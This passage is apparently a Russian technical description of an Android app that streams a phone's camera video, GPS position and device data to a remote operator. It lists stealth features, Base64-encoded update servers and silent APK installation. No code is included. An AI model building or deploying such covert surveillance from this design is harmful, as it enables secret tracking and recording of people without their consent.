"#000080", "#FFFF00", "#7B68EE", "#DC143C", "#006400", "#00FFFF", "#FFA500", "#808080", "#87CEFA"} - -Процесс активации: -1. При первом запуске пользователь вводит код доступа -2. Код сохраняется в классе ChenalC -3. Интерфейс окрашивается в соответствующий цвет канала -4. Заголовок приложения показывает номер активного канала - -3. СЕТЕВОЕ ВЗАИМОДЕЙСТВИЕ И ПРОТОКОЛ -==================================== - -Протокол передачи данных: -- Тип 0x00: Проброс данных без обработки -- Тип 0x01: Текстовые команды управления -- Тип 0x07: Информация о камерах (сжата GZIP) -- Тип 0x08: Статистика видеопотока (FPS, битрейт, время) -- Тип 0x09: Информация о высокоскоростных режимах - -Идентификация устройства: -Формат: "SerialNumber|Manufacturer||Model|Hardware" -Передается автоматически при подключении для идентификации устройства оператором. - -Сжатие данных: -Метаданные камер сжимаются GZIP для экономии трафика при передаче технических характеристик. - -4. УПРАВЛЕНИЕ КАМЕРАМИ -====================== - -Поддерживаемые команды: -- "start" - запуск стандартной записи (1920x1080, 30 FPS) -- "startHI" - высокоскоростная запись (1280x720, 120 FPS) -- "startH2" - сверхвысокоскоростная запись (1280x720, 240 FPS) -- "stop" - остановка записи -- "BitRate=N" - изменение битрейта видео -- "status" - запрос текущего статуса камеры -- "GetCameraInfo" - получение полных характеристик всех камер - -Производитель-специфичные модули: -- HUAWEI: класс CameraHUAWEIn -- ASUS: класс CameraASUSn (с поддержкой мотора поворота) -- Универсальный: класс CameraRecord для остальных устройств - -5. ВИДЕОКОДИРОВАНИЕ И ПЕРЕДАЧА -============================== - -Технические параметры: -- Кодек: H.264/AVC (аппаратное кодирование) -- Формат цвета: COLOR_FormatSurface (2130708361) -- Битрейт по умолчанию: 1,000,000 bps (настраивается удаленно) -- I-frame интервал: 1 секунда -- Качество: динамически настраивается оператором - -Статистика передачи: -Каждую секунду отправляется пакет со статистикой: -- Количество кадров в секунду (FPS) -- Объем данных в байтах -- Время передачи в миллисекундах -- Статус кодировщика - -6. СПЕЦИАЛЬНЫЕ ФУНКЦИИ ДЛЯ ASUS -=============================== - -Моторизованная камера: -Intent: "com.asus.motorservice.MotorService" -Package: "com.asus.motorservice" - -Устройства ASUS могут управлять поворотным механизмом камеры через системный сервис MotorService, позволяя оператору дистанционно поворачивать камеру. - -7. МОНИТОРИНГ СИСТЕМЫ -===================== - -Отслеживаемые параметры: -- Состояние батареи: уровень заряда, температура, состояние зарядки -- GPS-координаты устройства в реальном времени -- Статус подключения и качество связи -- Ошибки и исключения с автоматической отправкой оператору - -Визуальная индикация: -- 4 светодиодных индикатора (L1-L4) показывают уровень соединения -- Прозрачность индикаторов отражает активность каналов -- Цвет ActionBar соответствует активному каналу - -8. СИСТЕМА АВТООБНОВЛЕНИЯ -========================= - -Серверы обновлений: -Основной: alanxorg.com (закодирован в Base64) -Резервный: newip.vidser.top (закодирован в Base64) -Файл обновления: /rec-release.apk - -Процесс обновления: -1. Проверка версии на сервере каждые 1000 мс -2. Сравнение с датой модификации текущего APK -3. Автоматическое скачивание новой версии через DownloadManager -4. Автоматическая установка через FileProvider -5. Перезапуск приложения с новой версией - -9. РАЗРЕШЕНИЯ И БЕЗОПАСНОСТЬ -============================ - -Требуемые разрешения: -- CAMERA: доступ к камере для записи видео -- SET_DEBUG_APP: отладочные функции -- WRITE_EXTERNAL_STORAGE: сохранение файлов -- READ_EXTERNAL_STORAGE: чтение файлов -- INTERNET: сетевое соединение -- READ_PHONE_STATE: информация о устройстве -- ACCESS_COARSE_LOCATION: примерное местоположение -- ACCESS_FINE_LOCATION: точное местоположение - -Скрытность: -- Работает как фоновый сервис без постоянного UI -- Минимальный интерфейс, похожий на системное приложение -- Обработка всех ошибок без остановки работы -- Автоматический перезапуск при сбоях - -10. ПОЛЬЗОВАТЕЛЬСКИЙ ИНТЕРФЕЙС -============================= - -Главный экран (MActivity): -- Поле ввода кода активации канала -- 4 индикатора статуса подключения (L1-L4) -- Кнопка запуска/остановки сервиса -- Долгое нажатие для сброса настроек -- Цветовая индикация активного канала - -Функции интерфейса: -- Отображение номера канала в заголовке -- Toast-уведомления о статусе обновлений -- AlertDialog для подтверждения операций -- Динамическое изменение прозрачности индикаторов - -11. ПРИНЦИП РАБОТЫ С ОПЕРАТОРОМ -=============================== - -Пошаговый процесс: -1. ИНИЦИАЛИЗАЦИЯ: Запуск приложения с вводом кода канала -2. АУТЕНТИФИКАЦИЯ: Проверка кода в массиве key_ch[] -3. ПОДКЛЮЧЕНИЕ: Установка TCP-соединения с сервером оператора -4. ИДЕНТИФИКАЦИЯ: Передача SerialNumber|Manufacturer|Model|Hardware -5. ОЖИДАНИЕ: Устройство готово к приему команд -6. ВЫПОЛНЕНИЕ: Обработка команд (запуск/остановка записи, настройки) -7. СТРИМИНГ: Передача H.264 видеопотока в реальном времени -8. ТЕЛЕМЕТРИЯ: Отправка статистики, GPS, состояния батареи -9. МОНИТОРИНГ: Непрерывный контроль состояния соединения - -Команды управления от оператора: -- Выбор камеры (фронтальная/основная) -- Настройка разрешения и FPS -- Изменение битрейта на лету -- Управление мотором поворота (ASUS) -- Запрос диагностической информации -- Получение GPS-координат -- Мониторинг состояния батареи - -12. ТЕХНИЧЕСКИЕ ОСОБЕННОСТИ -=========================== - -Многопоточность: -- Главный поток UI (MActivity) -- Фоновый сервис (Speek) -- Поток обработки команд (Comand) -- Поток кодирования видео (CameraRecord) -- Поток сетевого I/O (InOut) - -Обработка ошибок: -- Все исключения перехватываются и логируются -- Автоматическая отправка ошибок оператору -- Предотвращение дублирования одинаковых ошибок -- Счетчик повторяющихся ошибок - -Оптимизация производительности: -- Аппаратное кодирование H.264 -- Сжатие метаданных GZIP -- Буферизация сетевого трафика -- Автоматическая очистка очередей при переполнении - -13. АРХИТЕКТУРА СЕТЕВОГО ВЗАИМОДЕЙСТВИЯ -======================================= - -Структура пакетов: -[Тип 1 байт][Данные переменной длины] - -Очереди данных: -- in_queue: входящие команды от оператора -- out_queue: исходящие данные к оператору -- Потокобезопасные ConcurrentLinkedQueue - -Контроль качества связи: -- Таймеры для отслеживания активности -- Автоматическая очистка при таймауте (600 мс) -- Статистика времени выполнения операций - -Данная система обеспечивает полный удаленный контроль мобильного устройства как камеры видеонаблюдения с возможностью получения высококачественного видео в реальном времени и полной телеметрии устройства.